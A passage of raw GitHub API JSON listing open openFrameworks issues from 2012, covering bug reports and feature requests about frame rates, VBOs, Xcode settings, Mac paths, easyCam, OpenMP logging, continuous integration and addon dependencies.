Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810,"closed_issues":16},"number":1118,"assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"arturoc","id":48240},"closed_at":null,"title":"Default paths.make for Android","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/android","name":"android","color":"2bc4ad"}],"created_at":"2012-03-28T12:19:39Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"id":3850655,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1118"},{"updated_at":"2012-04-18T17:13:36Z","body":"Once ofSetFrameRate() is called, I can't find a way to retrieve it. I think implementing a ofGetDesiredFrameRate() in ofAppRunner would make sense, also adding getDesiredFrameRate() to ofAppBaseWindow and all subclasses, where the actual value is stored. \r\n\r\nThis can be useful to compare the desired frame rate with actual frame rate and react accordingly if required.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1117","comments":0,"milestone":null,"number":1117,"assignee":null,"closed_at":null,"title":"Can't retrieve desired frame rate once set","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2012-03-27T11:48:00Z","state":"open","user":{"url":"https://api.github.com/users/armadillu","gravatar_id":"b87a82d7c86161432ee6388c7cbd5e2c","avatar_url":"https://secure.gravatar.com/avatar/b87a82d7c86161432ee6388c7cbd5e2c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"armadillu","id":167057},"id":3825582,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1117"},{"updated_at":"2012-03-26T22:27:14Z","body":"https://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/gl/ofVbo.cpp#L343\r\n\r\nIndices should be specified as GL_ELEMENT_ARRAY_BUFFER unless I am mistaken.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1116","comments":5,"milestone":null,"number":1116,"assignee":null,"closed_at":null,"title":"ofVBO updateIndexData incorrect buffer type.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"created_at":"2012-03-26T18:26:05Z","state":"open","user":{"url":"https://api.github.com/users/vade","gravatar_id":"37aca214d4875cd90af9d67072c82642","avatar_url":"https://secure.gravatar.com/avatar/37aca214d4875cd90af9d67072c82642?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"vade","id":65011},"id":3813852,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1116"},{"updated_at":"2012-03-26T18:45:51Z","body":"The default optimization settings for debug builds in example XCode projects is set to Fastest,Smallest thus making debugging very difficult, is there a specific reason for this?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1115","comments":3,"milestone":null,"number":1115,"assignee":null,"closed_at":null,"title":"optimization level in xcode projects","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"}],"created_at":"2012-03-26T17:05:14Z","state":"open","user":{"url":"https://api.github.com/users/colormotor","gravatar_id":"2548dbd6a86902ed5260b5f76710b83c","avatar_url":"https://secure.gravatar.com/avatar/2548dbd6a86902ed5260b5f76710b83c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"colormotor","id":1239872},"id":3812318,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1115"},{"updated_at":"2012-03-31T15:31:31Z","body":"I had some problems because of macro definitions in ofArduino.h overriding an enum in a a class of my codebase ( SHIFT )\r\nIt's not exactly a bug! but I would suggest using enums or const int instead of the macros to avoid any conflicts\r\nI solved the problem by modifying \r\n#define SHIFT 0x05 \r\ninto \r\nconst int SHIFT = 0x05;\r\n\r\nanother solution could be using enumerations as \r\nenum\r\n{\r\n ...\r\n SHIFT = 0x05,\r\n etc...\r\n};\r\n\r\nI believe this would not break any of the existing code\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1114","comments":1,"milestone":null,"number":1114,"assignee":{"url":"https://api.github.com/users/joshuajnoble","gravatar_id":"10960ba0f305803a1cdc7cd6188d643b","avatar_url":"https://secure.gravatar.com/avatar/10960ba0f305803a1cdc7cd6188d643b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"joshuajnoble","id":237423},"closed_at":null,"title":"macros in ofArduino","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"created_at":"2012-03-26T17:02:21Z","state":"open","user":{"url":"https://api.github.com/users/colormotor","gravatar_id":"2548dbd6a86902ed5260b5f76710b83c","avatar_url":"https://secure.gravatar.com/avatar/2548dbd6a86902ed5260b5f76710b83c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"colormotor","id":1239872},"id":3812275,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1114"},{"updated_at":"2012-03-27T14:56:56Z","body":"Hello.\r\n\r\nI'm trying to run camera frame grabing in OSX Lion.\r\nSimple ofVideoGrabber doesn't work - even if I link it with 10.6 SDK (and 10.6 is deployment target) I receive crash in initialization of ofVideoGrabber. Details are the same as in http://forum.openframeworks.cc/index.php/topic,6776.0.html\r\n\r\nI tryed QtKitMovieGrabberExample. It had some problems in compilation - texture property was not synthesized, I wrote this property and compilation run well.\r\nBut linking is fault. All I receive form linker is:\r\n\r\n*Ld bin/movieGrabberExampleDebug.app/Contents/MacOS/movieGrabberExampleDebug normal i386\r\n cd /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample\r\n setenv MACOSX_DEPLOYMENT_TARGET 10.6\r\n /Developer/usr/bin/clang++ -arch i386 -isysroot /Developer/SDKs/MacOSX10.6.sdk -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/bin -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/freeimage/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/FreeImage/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/GLee/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/rtAudio/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/fmodex/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/freetype/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/FreeImage/lib/osx -F/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/bin -F/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/glut/lib/osx -filelist /Users/yltastep/Library/Developer/Xcode/DerivedData/movieGrabberExample-aftkspwrgtotrteyzaplfbqzeasd/Build/Intermediates/movieGrabberExample.build/Debug/movieGrabberExample.build/Objects-normal/i386/movieGrabberExampleDebug.LinkFileList -mmacosx-version-min=10.6 -dead_strip ../../../libs/poco/lib/osx/PocoFoundation.a ../../../libs/poco/lib/osx/PocoNet.a ../../../libs/poco/lib/osx/PocoXML.a ../../../libs/poco/lib/osx/PocoUtil.a ../../../libs/tess2/lib/osx/tess2.a ../../../libs/glew/lib/osx/glew.a ../../../libs/cairo/lib/osx/cairo-script-interpreter.a ../../../libs/cairo/lib/osx/cairo.a ../../../libs/cairo/lib/osx/pixman-1.a ../../../libs/fmodex/lib/osx/libfmodex.dylib ../../../libs/rtAudio/lib/osx/rtAudio.a /Users/yltastep/Documents/XCode/openframeworks/libs/openFrameworksCompiled/lib/osx/openFrameworksDebug.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/GLee/lib/osx/GLee.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/rtAudio/lib/osx/rtAudio.a -framework AGL -framework ApplicationServices -framework AudioToolbox -framework Carbon -framework CoreAudio -framework CoreFoundation -framework CoreServices -framework OpenGL -framework QuickTime -framework AppKit -framework Cocoa -framework IOKit -framework GLUT /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoFoundation.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoNet.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoUtil.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoXML.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/freetype/lib/osx/freetype.a -lfmodex /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/FreeImage/lib/osx/freeimage.a -framework QTKit -framework Quartz -framework QuartzCore -o /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/bin/movieGrabberExampleDebug.app/Contents/MacOS/movieGrabberExampleDebug*\r\n\r\n**Command /Developer/usr/bin/clang++ failed with exit code 1**\r\n\r\nSo no explanation of problem.\r\n\r\nIs somebody ran this example successfully ?\r\nAnd what I'm doing wrong ?\r\n\r\nThanks in advance !\r\n\r\nWith regards.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1112","comments":9,"milestone":null,"number":1112,"assignee":null,"closed_at":null,"title":"Issue with QtKitMovieGrabberExample in apps/devapps","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"created_at":"2012-03-26T12:11:44Z","state":"open","user":{"url":"https://api.github.com/users/OlexandrStepanov","gravatar_id":"aa6e2a475cab75513c9cc435b28eef31","avatar_url":"https://secure.gravatar.com/avatar/aa6e2a475cab75513c9cc435b28eef31?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"OlexandrStepanov","id":971079},"id":3807459,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1112"},{"updated_at":"2012-03-25T20:07:16Z","body":"Todd's example has this code a few times in it by hand, but I'm thinking it's so simple it could be added along side ofSplitString() and would be really useful ? for sure, more string utility functions are helpful, and for basic text parsing, this is great. Poco gives us this for free, so it doesn't seem like a huge stretch to think of something like this, plus find and replace, etc. Would make the regex example much shorter. \r\n\r\np5 has something similar, if that's a helpful argument: \r\n\r\nhttp://processing.org/reference/matchAll_.html\r\n\r\n\r\n\tvector < string > ofxRegex::getMatchedStrings (string contents, string regex );\r\n\tvector < string > ofxRegex::getMatchedStrings (string contents, string regex ){\r\n \r\n\t vector < string > results;\r\n\t RegularExpression regEx(regex);\r\n\t RegularExpression::Match match;\r\n \r\n\t while(regEx.match(contents, match) != 0) {\r\n \r\n\t // we get the sub string from the content\r\n\t // and then trim the content so that we\r\n\t // can continue to search \r\n\t string foundStr = contents.substr(match.offset, match.length);\r\n\t contents = contents.substr(match.offset + match.length);\r\n \r\n\t results.push_back(foundStr);\r\n \r\n\t }\r\n\t return results;\r\n\t}","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1110","comments":1,"milestone":null,"number":1110,"assignee":null,"closed_at":null,"title":"add a simple regex function like ofSplitString()","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"created_at":"2012-03-25T18:56:37Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":3799872,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1110"},{"updated_at":"2012-03-25T18:50:13Z","body":"code to recreate: \r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::setup(){\r\n system(\"pwd;\");\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::update(){\r\n system(\"pwd;\");\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::draw(){\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::keyPressed(int key){\r\n cout << ofToDataPath(\"temp\") << endl;\r\n}\r\n\r\nproduces: \r\n\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n../../../data/temp\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin/emptyExampleDebug.app/Contents/MacOS\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin/emptyExampleDebug.app/Contents/MacOS\r\n\r\nthis is because the code that fixes OSX paths isn't called until you call ofToDataPath(). a good fix I think would be to set ofDataPathRoot (which happens in ofToDataPath) somewhere early in ofRunApp(). Or should it happen even earlier?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1109","comments":3,"milestone":null,"number":1109,"assignee":null,"closed_at":null,"title":"mac paths don't seem right until you call \"ofToDataPath()\"","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"created_at":"2012-03-25T18:18:28Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":3799653,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1109"},{"updated_at":"2012-04-09T13:06:18Z","body":"easycam behaves as expected when inited but as soon as I change it's target it begins to behave strangely.\r\nthere's this imaginary sphere that we are rotating (it's diameter is min (viewport.width, vieport.height)), when the mouse is dragged from inside to outside of it the rotation just jumps to a \"random\" rotation. \r\nas well when you have a the camera rotated more than 180º in some axis the \"trackball\" doesn't behave as expected. yet this behavior is not seen when the target hasn't been changed.\r\n\r\nDoes any one know what's going on?\r\n\r\nI just came across this but I haven't gone deeply into how easycam handles the mouse to rotate. \r\nI'll do so ASAP. If someone can give me any clues I'll really apreciate it.\r\n\r\nregards!","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1108","comments":7,"milestone":null,"number":1108,"assignee":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"closed_at":null,"title":"easyCam weird behavior when target changed","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"created_at":"2012-03-25T00:01:54Z","state":"open","user":{"url":"https://api.github.com/users/roymacdonald","gravatar_id":"fe632ca3d0c42747cfef88a95d942c4a","avatar_url":"https://secure.gravatar.com/avatar/fe632ca3d0c42747cfef88a95d942c4a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"roymacdonald","id":974878},"id":3795495,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1108"},{"updated_at":"2012-04-09T16:47:18Z","body":"It would be great if the PG could also generate projects/examples for usage with Eclipse, i.e. just the makefile related files, no CB or other project files.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1103","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810,"closed_issues":16},"number":1103,"assignee":null,"closed_at":null,"title":"PG feature request: Generate makefile-only projects","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"created_at":"2012-03-21T21:43:34Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"id":3754055,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1103"},{"updated_at":"2012-03-19T16:18:43Z","body":"whenever i call ofLog beneath openmp i have to wrap it in ```#pragma omp critical (ofLog)``` otherwise i get a crash\r\ni found adding the line above \r\nhttps://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/utils/ofLog.cpp#L84\r\nworks pretty well\r\n\r\nany objections to having it in there?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1098","comments":3,"milestone":null,"number":1098,"assignee":null,"closed_at":null,"title":"feature / bug - #pragma omp critical(ofLog)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"created_at":"2012-03-19T14:04:51Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":3710293,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1098"},{"updated_at":"2012-03-15T20:34:17Z","body":"I'm finding that `ofDirector::listDir, open` are extremely slow\r\nit seems that it's actually loading the entire dir contents into memory\r\n\r\nit's possible to then do something like\r\n```\r\nofLoadImage(myPixels, dir.getFile(i));\r\n```\r\nand you can quickly load that image from memory. which is faster than\r\n```\r\nofLoadImage(myPixels, dir.getFile(i).getAbsolutePath());\r\n```\r\n\r\nBut this doesn't seem to work consistently (even though the slow listing is consistent)\r\nand surely isn't what we want.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1075","comments":2,"milestone":null,"number":1075,"assignee":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"closed_at":null,"title":"bug ofDirectory::open(string path) actually loads the entire dir into memory?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"created_at":"2012-03-15T07:54:55Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":3662214,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1075"}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=4 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4979'), ('content-length', '50026'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"76bc0aa4d9c592b059742cd1e992e558"'), ('date', 'Tue, 29 May 2012 06:43:37 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-03-14T16:03:06Z","body":"Hello,\r\nI needed alpha channel in short length video for a recent project.\r\nIn the forum there is some old zip file for a ofxAlphaVideoPlayer that is still working, but that's OS X & windows only as it's based on QT.\r\nI'm working on linux, and I didn't find anything for GStreamer, so I modified the existing ofGstUtils and ofGstVideoPlayer.\r\nWould you mind if I do a pull request for this?\r\nI can also provide an example with a short length video using animation codec.\r\nWhat do you think?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1070","comments":6,"milestone":null,"number":1070,"assignee":null,"closed_at":null,"title":"Alpha movies in GStreamer","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2012-03-14T13:02:41Z","state":"open","user":{"url":"https://api.github.com/users/manuelgeoffray","gravatar_id":"c1ec5161b69b4a990436deafb1170d64","login":"manuelgeoffray","id":808090,"avatar_url":"https://secure.gravatar.com/avatar/c1ec5161b69b4a990436deafb1170d64?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3647640,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1070"},{"updated_at":"2012-03-17T19:26:40Z","body":"Hey !\r\n\r\nMe again. Didn't find anywhere this infos. I'm currently testing the travis-ci.org service.\r\nAs many people are working on the project and as many many issue are raised, and fixed, I thought it could be great to add some test and thus the travis service.\r\n\r\nIt would avoid the problem met here :\r\nhttps://github.com/openframeworks/openFrameworks/commit/7ca7833ea1afb6bd5a6c54031e3fa688aa0c0ba8\r\nand the discussion here :\r\nhttps://github.com/openframeworks/openFrameworks/issues/804\r\nor there :\r\nhttps://github.com/openframeworks/openFrameworks/pull/921\r\n\r\nI read that :\r\n\r\n>feel free to make a unitTests folder at the root level of OF -\r\n> that is where all unitTests will go.\r\n\r\nBut didn't find them.\r\n\r\nThe travis service will permit to get the little badge we know well : \r\n[![Build Status](https://secure.travis-ci.org/soixantecircuits/openFrameworks.png?branch=master)](http://travis-ci.org/soixantecircuits/openFrameworks)\r\n\r\nAlso, why not adding some spec test, to ensure future development of features.\r\nI'm currently reading :\r\nhttp://www.squidoo.com/cplusplus-behaviour-driven-development-tools#module124841511\r\nhttp://sourceforge.net/apps/mediawiki/turtle/index.php?title=Turtle\r\n\r\nFor those who want some other nice reading :\r\n\r\nhttp://gamesfromwithin.com/exploring-the-c-unit-testing-framework-jungle\r\n\r\nThe travis test is here, currently it is a total fake, but I just proposed the idea of a test driven development\r\nhttp://travis-ci.org/#!/soixantecircuits/openFrameworks/builds/854259 ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1068","comments":10,"milestone":null,"number":1068,"assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"closed_at":null,"title":"Continuous integration","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"created_at":"2012-03-13T15:49:23Z","state":"open","user":{"url":"https://api.github.com/users/gabrielstuff","gravatar_id":"390ea42c23c2c383f973abdafa24bb07","login":"gabrielstuff","id":285033,"avatar_url":"https://secure.gravatar.com/avatar/390ea42c23c2c383f973abdafa24bb07?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3631618,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1068"},{"updated_at":"2012-03-13T15:21:30Z","body":"Hi !\r\n\r\nRecently, I've been in lot of languages, from C++ to ruby, passing by the colosus of javascript and the sea of php. Dropping by various and strange framework such as the Cinder, the jQuery, the Rails, the Processing, etc ...\r\n\r\n## the situation \r\n\r\nWhat I have noticed is that a strong architecture and a really ease use of add-ons makes a framework get stronger. For instance, if we take a look at Ruby, we see that the use of gems give him a powerfull advance over his friend php. \r\n\r\n### the Rubyist\r\n\r\nThis way of thinking is getting even better with the http://gembundler.com/ [Bundler](http://gembundler.com/) friend. The gems have dependencies and a simple GemFile help to easily install all dependencies for one project.\r\n\r\n### the Cinderist\r\n\r\nFor Cinder, we get the block, as for OSX, it quiet easy and fast. Drag and drop and play/code.\r\n\r\n### the jQueryist\r\n\r\nWell, it is not frequent to have jQuery plugins depending on other jQuery plugins, but there are several way to handle dependencies on jQuery and JS.\r\n\r\n### the nodist\r\n\r\nThis lead us to http://npmjs.org/, which is really nice with dependencies.\r\nFor instance, if you tried cloud9ide, you know that you just have to make sure you get the proper package.json :\r\n\r\n```\r\n{\r\n \"name\": \"node-example\",\r\n \"version\": \"0.0.1\",\r\n \"dependencies\": {\r\n \"express\": \"2.2.0\"\r\n }\r\n}\r\n```\r\n\r\nThis file ensure that everything before running the server will be installed via npm.\r\n\r\n### the ofist\r\n\r\nRight now, we just have the addons.make file, which is nice but does not do any lifting for us. We have to verify that the ofx addons has been downloaded and is installed in the right folder.\r\n\r\n- Why not creating a script that will allow to manage dependencies compilation ? \r\nI have this 